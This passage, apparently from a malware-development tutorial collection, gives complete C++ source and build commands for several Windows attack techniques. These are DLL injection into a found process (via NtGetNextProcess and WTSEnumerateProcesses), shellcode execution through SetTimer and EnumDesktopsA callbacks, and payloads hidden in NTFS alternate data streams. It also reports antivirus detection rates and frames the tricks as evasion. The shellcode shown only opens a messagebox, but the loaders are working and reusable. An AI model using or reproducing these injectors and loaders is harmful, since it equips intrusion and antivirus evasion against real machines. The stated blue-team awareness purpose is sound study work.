res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);


printf(res != ERROR_SUCCESS ? "failed to query data :(\n" :
"successfully get binary data:)\n");

printf("data:\n");
for (int i = 0; i < size; i++) {
printf("\\x%02x", static_cast<int>(data[i]));
}
printf("\n\n");

RegCloseKey(hkey);
delete[] data;
}

int main(void) {
registryStore();
registryGetData();
return 0;
}

demo 2
Let’s go to see in action this logic. First of all compile hack2.cpp:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, just run powershell as Administrator and execute our binary in victim’s
machine (Windows 10 22H2 x64):
.\hack2.exe

352
As you can see, everything is worked as expected! =.. =
This method of executing code is often used by malicious software (for example Com-
RAT, PillowMint and PipeMon) and APT groups (Turla), so it’s likely to be flagged
by antivirus software, and may not work on systems with certain security measures in
place.
Let’s go to upload it to VirusTotal:

353
https://www.virustotal.com/gui/file/fe7e412aef1af9dee801224567151f7eaa17ffdbc8
c1e97202b4faccb53100e8/details
So, 16 of of 70 AV engines detect our file as malicious.
I hope this post spreads awareness to the blue teamers of this interesting malware dev
technique, and adds a weapon to the red teamers arsenal.
RegCreateKeyEx
RegOpenKeyEx
RegSetValueEx
EnumDesktopsA
MITTRE ATT&CK: Fileless Storage
ComRAT
PillowMint
PipeMon
Turla
source code in github

354
43. malware development trick. Find PID via NtGetNextProcess.
Simple C++ example

Today, I just want to focus my research on another malware development trick: enum
processes and find PID via NtGetNextProcess. It is a common technique that can be
used by malware for AV evasion also.

what’s the trick?


We just simply utilize additional undocumented features. NtGetNextProcess is a sys-
tem call made available by the kernel that retrieves the next process. But what does
next mean? If you’re familiar with Windows internals, you know that process objects
are linked together in the kernel’s massive linked list. Therefore, this system call takes
the handle to a process object and locates the next process in the chain that the current
user can access.

practical example
Everything is pretty simple:
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes

355
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}
This function scans all running processes in a Windows system and returns the
Process ID (PID) of a process that matches the provided name. A while loop
is started which continues until myNtGetNextProcess returns a non-zero value,
indicating that there are no more processes. The handle of the next process is
obtained by myNtGetNextProcess and stored in current. For each process,
GetProcessImageFileNameA is used to get the image file name (the executable file
of the process) and stores it in procName. If the base name of procName (obtained
using PathFindFileName) matches procname (comparison is case-insensitive due
to lstrcmpiA), the process ID of current is obtained.
So, full source code is looks like this (hack.cpp):
/*
* hack.cpp - find process ID by NtGetNextProcess. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "ntdll.lib")


#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(


_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {


int pid = 0;

356
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);
return 0;
}

demo
Ok, let’s go to look this trick in action.
Compile it (hack.cpp):
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lpsapi -lshlwapi

Then, just run it at the victim’s machine (Windows 10 22H2 x64 in my case):
.\hack.exe <process>

357
As you can see, it’s worked perfectly, as expected :) =.. =

practical example 2. find and inject


Let’s go to another example with malicious logic. Find process ID by name and inject
DLL to it.
Source code is similar to my post. The only difference is the logic of the findMyProc
function (hack2.cpp):
/*
* hack2.cpp - find process ID
* by NtGetNextProcess and
* DLL inject. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "ntdll.lib")


#pragma comment(lib, "shlwapi.lib")

358
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(


_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {


int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address


fNtGetNextProcess myNtGetNextProcess =
(fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

// loop through all processes


while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}

return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);

HMODULE hKernel32 = GetModuleHandle("kernel32");


VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// open process

359
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0,
NULL);
CloseHandle(ph);

return 0;
}
As usually, for simplicity I create simple DLL with meow from evil.dll! messagebox
(evil.c):
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {


switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:

360
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

demo 2
Ok, let’s go to demonstration our injection.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lpsapi -lshlwapi

And run for find and inject to mspaint.exe:


.\hack2.exe mspaint.exe

361
As you can see, our messagebox is injected to mspaint.exe with PID = 2568 as

362
expected. Perfect! =.. =
As I wrote earlier, this trick can be used to bypass some cyber security solutions, since
many systems only detect functions known to many like CreateToolhelp32Snapshot,
Process32First, Process32Next. For the same reason, this can be difficult for many
malware analysts.
I haven’t seen this trick in the real-life malware and APT attacks yet. I hope this post
spreads awareness to the blue teamers of this interesting malware dev technique, and
adds a weapon to the red teamers arsenal.
Find PID by name and inject to it. “Classic” implementation.
Classic DLL injection into the process. Simple C++ malware
Taking a Snapchot and Viewing Processes
source code in github

363
44. malware development trick. Run shellcode via SetTimer. Sim-
ple C++ example.

This article is the result of my own research into the next interesting trick: run shellcode
via SetTimer function.

SetTimer
The SetTimer function is a part of the Windows API. It is used to create a timer with
a specified time-out value.
Here is its basic syntax:
UINT_PTR SetTimer(
HWND hWnd,
UINT_PTR nIDEvent,
UINT uElapse,
TIMERPROC lpTimerFunc
);
Where:
• hWnd: A handle to the window to be associated with the timer. This window
must be owned by the calling thread. If a NULL value for hWnd is passed in along
with an nIDEvent of an existing timer, that old timer will be replaced by the
new one.

• nIDEvent: A nonzero timer identifier. If the hWnd parameter is NULL, and


the nIDEvent does not match an existing timer then it is ignored and a new
timer ID is generated. If the hWnd is not NULL and the window specified by
hWnd already has a timer with the value nIDEvent, then the existing timer

364
is replaced by the new timer. When SetTimer replaces a timer, the timer is reset.

• uElapse: The time-out value, in milliseconds.

• lpTimerFunc: A pointer to the function to be notified when the time-out value


elapses. If this parameter is NULL, the system posts a WM_TIMER message to the
application queue. This message is processed by the window procedure.

practical example
So, what’s the trick? Just take a look at this (hack.c):
/*
* hack.cpp - run shellcode via SetTimer. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/06/04/malware-tricks-31.html
*/
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

365
PVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
UINT_PTR dummy = 0;
MSG msg;

SetTimer(NULL, dummy, NULL, (TIMERPROC)mem);


GetMessageA(&msg, NULL, 0, 0);
DispatchMessageA(&msg);

return 0;
}
As you can see, this code seems to attempt to execute shellcode using the SetTimer
Windows API function by providing it a pointer to a function (TIMERPROC) to be called
when the timer expires.
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

366
demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run in our victim’s machine:


.\hack.exe

As you can see, everything is worked perfectly! =.. =


Let’s go to upload hack.exe to VirusTotal:

367
So, 19 of 71 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/6b418cb08b87c07246170577503e9ef2e98f39e4
4afa9b53a0747fa9f5ed524e/detection
But, I think we have an issue in our dirty PoC code.
The SetTimer function requires the uElapse parameter to be set. This parameter
represents the time-out value, in milliseconds. If it’s set to NULL or 0, the function
will not set the timer. So, if we want to execute shellcode immediately, we need to set
uElapse to 1. Something like this:
SetTimer(NULL, dummy, 1, (TIMERPROC)mem); // Set uElapse to 1
while (GetMessageA(&msg, NULL, 0, 0)) { // Using while loop to keep the
//message pump running
DispatchMessageA(&msg);
}
This code will create a timer that expires almost immediately and calls our shellcode
as a callback function. Of course, note that this kind of technique can be detected
as malicious by antivirus software due to the anomalous behavior of executing code
through a timer callback.
I haven’t seen this trick in the real-life malware and APT attacks yet. I hope this post
spreads awareness to the blue teamers of this interesting malware dev technique, and
adds a weapon to the red teamers arsenal.
SetTimer
Malware dev tricks. Run shellcode via EnumDesktopsA
Classic DLL injection into the process. Simple C++ malware
source code in github

368
45. malware development trick. Find PID via WTSEnumeratePro-
cesses. Simple C++ example.

Today, I just want to focus my research on another malware development trick: enum
processes and find PID via WTSEnumerateProcesses. It is a common technique that
can be used by malware for AV evasion also.

WTSEnumerateProcessesA win api


The WTSEnumerateProcessesA function is a Windows API function that retrieves
information about the active processes on a specified terminal server:
BOOL WTSEnumerateProcessesA(
WTS_CURRENT_SERVER_HANDLE hServer,
DWORD Reserved,
DWORD Version,
PWTS_PROCESS_INFOA *ppProcessInfo,
DWORD *pdwCount
);
WTSEnumerateProcessesA is primarily used for enumerating the processes running
on a terminal server and can be useful for diagnostics and troubleshooting.

practical example
The WTS API functions are part of the wtsapi32.dll, so we need to link against that
DLL. In the code snippet,
#pragma comment(lib, "wtsapi32.lib")
is used to link against the library.
Then just create function to enum processes:

369
int findMyProc(const char * procname) {
int pid = 0;
WTS_PROCESS_INFOA * pi;

DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX


DWORD count = 0;

if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))


return 0;

for (int i = 0 ; i < count ; i++ ) {


if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
pid = pi[i].ProcessId;
break;
}
}

WTSFreeMemory(pi);
return pid;
}
As you can see, the logic is pretty simple, just compare process name and get PID.
Full source code is look like this (hack.c):
/*
* process find via WTSEnumerateProcessesA logic
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

int findMyProc(const char * procname) {


int pid = 0;
WTS_PROCESS_INFOA * pi;

DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX


DWORD count = 0;

if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))


return 0;

for (int i = 0 ; i < count ; i++ ) {


if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {

370
pid = pi[i].ProcessId;
break;
}
}

WTSFreeMemory(pi);
return pid;
}

int main(int argc, char* argv[]) {


int pid = findMyProc(argv[1]);
if (pid > 0) {
printf("pid = %d\n", pid);
}
return 0;
}
Keep in mind that this function may not retrieve the process identifier for some types of
processes, such as system processes or processes that are protected by certain types of
security software. In addition, certain types of security software may block calls to this
function entirely. The same applies if you’re running in an environment with restricted
permissions.
Also, WTSEnumerateProcesses requires the SeTcbPrivilege to be enabled, but this
is normally enabled for administrators, but I didn’t check it.

demo
Ok, let’s go to look this trick in action.
Compile it (hack.c):
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lwtsapi32

As you can see, you need to link against wtsapi32.lib when building this program. I
am using a GCC-based compiler (like MinGW), so I can do this by adding -lwtsapi32
to my command.
Then, just run it at the victim’s machine (Windows 10 22H2 x64 in my case):
.\hack.exe <process>

371
372
As you can see, it’s worked perfectly, as expected :) =.. =
As I wrote earlier, in theory, the user must have the Query Information permission.
Also, the calling process must have the SE_TCB_NAME privilege. If the calling process
is running in a user session, the WTSEnumerateProcesses function only retrieves the
process information for the session of the calling process.
In my opinion, if your malware or service run under the Local System you have enough
permissions.
Also, maybe this trick can be used to bypass some cyber security solutions, since many
systems only detect functions known to many like CreateToolhelp32Snapshot,
Process32First, Process32Next. For the same reason, this can be difficult for
many malware analysts.

practical example 2. find and inject


Let’s go to another example with malicious logic. Find process ID by name and inject
DLL to it.
Source code is similar to my post or this one. The only difference is the logic of the
findMyProc function (hack2.c):
/*
* hack2.cpp - find process ID
* by WTSEnumerateProcessesA and
* DLL inject. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html

373
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

int findMyProc(const char * procname) {


int pid = 0;
WTS_PROCESS_INFOA * pi;

DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX


DWORD count = 0;

if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))


return 0;

for (int i = 0 ; i < count ; i++ ) {


if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
pid = pi[i].ProcessId;
break;
}
}

WTSFreeMemory(pi);
return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " :
"process not found. pid = ", pid);

HMODULE hKernel32 = GetModuleHandle("kernel32");


VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");

374
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0,
NULL);
CloseHandle(ph);

return 0;
}

“malware” demo
Ok, let’s go to demonstration our injection.
Compile it:
x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lwtsapi32

And run for find and inject to mspaint.exe:


.\hack2.exe mspaint.exe

375
As you can see, our messagebox is injected to mspaint.exe with PID = 3048 as
expected. Perfect! =.. =
This trick is used by Iranian CopyKittens cyber espionage group. I hope this post
spreads awareness to the blue teamers of this interesting malware dev technique, and
adds a weapon to the red teamers arsenal.
WTSEnumerateProcessesA
Find PID by name and inject to it. “Classic” implementation.
Classic DLL injection into the process. Simple C++ malware
Taking a Snapchot and Viewing Processes
CopyKittens
Malpedia: CopyKittens
source code in github

376
46. malware development trick. Store payload in alternate data
streams. Simple C++ example.

Today, this post is the result of my own research on another popular malware develop-
ment trick: store malicious data in alternate data streams (ADS) and how adversaries
use it for persistence.

alternate data streams


Alternate Data Streams allow for multiple data “streams” to be associated with a single
filename, a capability that can be used to store metadata. While this feature was designed
to support Macintosh Hierarchical File System (HFS) which uses resource forks to store
icons and other information for a file, it can be and has been used for hiding data and
malicious code.

practical example
Below is a simple example code of storing payload in ADS hack.c:
/*
hack.c
malware store data in alternate data streams
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html
*/
#include <windows.h>
#include <stdio.h>

int main() {

377
// name of the file to which we'll attach the ADS
char* filename = "C:\\temp\\meow.txt";

// name of the ADS


char* streamname = "hiddenstream";

// full path including the ADS


char fullpath[1024];
sprintf(fullpath, "%s:%s", filename, streamname);

// the data we're going to write to the ADS


// meow-meow messagebox
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

printf("original payload: ");


for (int i = 0; i < sizeof(my_payload); i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

// write data to the ADS


HANDLE hFile = CreateFile(fullpath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

378
printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" :
"successfully write payload data to the ADS\n");
DWORD bw;
WriteFile(hFile, my_payload, sizeof(my_payload) - 1, &bw, NULL);
CloseHandle(hFile);

// now read the data back


hFile = CreateFile(fullpath, GENERIC_READ, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" :
"successfully read payload data from file\n");

unsigned char data[sizeof(my_payload) - 1];


DWORD br;
ReadFile(hFile, data, sizeof(data), &br, NULL);
CloseHandle(hFile);

printf("read from file, payload:\n");


for (int i = 0; i < sizeof(data); i++) {
printf("%02x ", data[i]);
}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);


RtlMoveMemory(mem, data, sizeof(data));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
The logic is pretty simple. This code writes data to an ADS and then reads it back. Then
execute payload data via EnumDesktopsA.
As usually, I used meow-meow messagebox for simplicity:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"

379
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
